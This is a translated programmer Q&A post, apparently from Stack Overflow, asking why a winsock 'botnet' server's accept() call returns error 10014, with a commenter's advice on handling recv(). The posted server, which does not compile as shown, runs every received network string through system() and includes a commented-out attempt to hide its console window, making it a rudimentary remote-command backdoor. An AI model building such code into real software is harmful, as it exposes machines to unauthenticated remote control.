我想用winsock製作一個簡單的僵屍網絡(不是用於惡意目的),客戶端可以(至少在語法上),但是當我調用accept函數時服務器有錯誤,它返回SOCKET_ERROR,我調用WSAGetLastError()來獲取錯誤號並返回10014.在MSDN頁面中,它表示:Winsock接受函數的錯誤
錯誤的地址。
系統在嘗試使用呼叫的指針參數時檢測到無效的指針地址。如果應用程序傳遞無效的指針值,或者緩衝區的長度太小,則會發生此錯誤。例如,如果作爲sockaddr結構的參數的長度小於(sockaddr)的大小。
那麼,我不知道該怎麼做。
botnetserver.cpp
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#define PORT 5051
#define BUFFMAX 1024 // Buffer max
using namespace std;
int main() {
SOCKADDR_IN svaddr; // server address
SOCKADDR_IN claddr; // client addres
SOCKET listensocket;
SOCKET client;
WSADATA WsaData;
char buffer[BUFFMAX];
int i = sizeof(client);
//ShowWindow(GetConsoleWindow(), SW_HIDE);, fail
WSAStartup(MAKEWORD(2, 2), &WsaData);
listensocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
svaddr.sin_family = AF_INET;
svaddr.sin_port = htons(PORT);
svaddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(listensocket, (SOCKADDR*) &svaddr, sizeof(svaddr));
client = listen(listensocket, 5)) == SOCKET_ERROR
accept(listensocket, (SOCKADDR*)&claddr, &i) // Error here
while(true) {
/* other things i tried
cout << "\n\n" << buffer << "\n\n";
cout << o << "\n";
buffer[BUFFMAX] = '\0';*/
recv(client, buffer, BUFFMAX, 0);
if(strcmp(buffer, "<fim>") != 0) {
system(buffer);
//break;
} else {break;}
}
closesocket(client);
closesocket(listensocket);
WSACleanup();
system("pause");
}
更多問題:1。你忽略了'recv()'返回的值。它可以是-1表示錯誤,或者零表示流的結束。 2.假設你剛接收到的緩衝區是空終止的是無效的。如果你想讓它以null結尾,或者發送它爲空終止,並確保你已經讀取完整的消息,然後你使用它作爲空終止,否則在recv()之後自己終止它。' – EJP 2014-09-24 04:16:50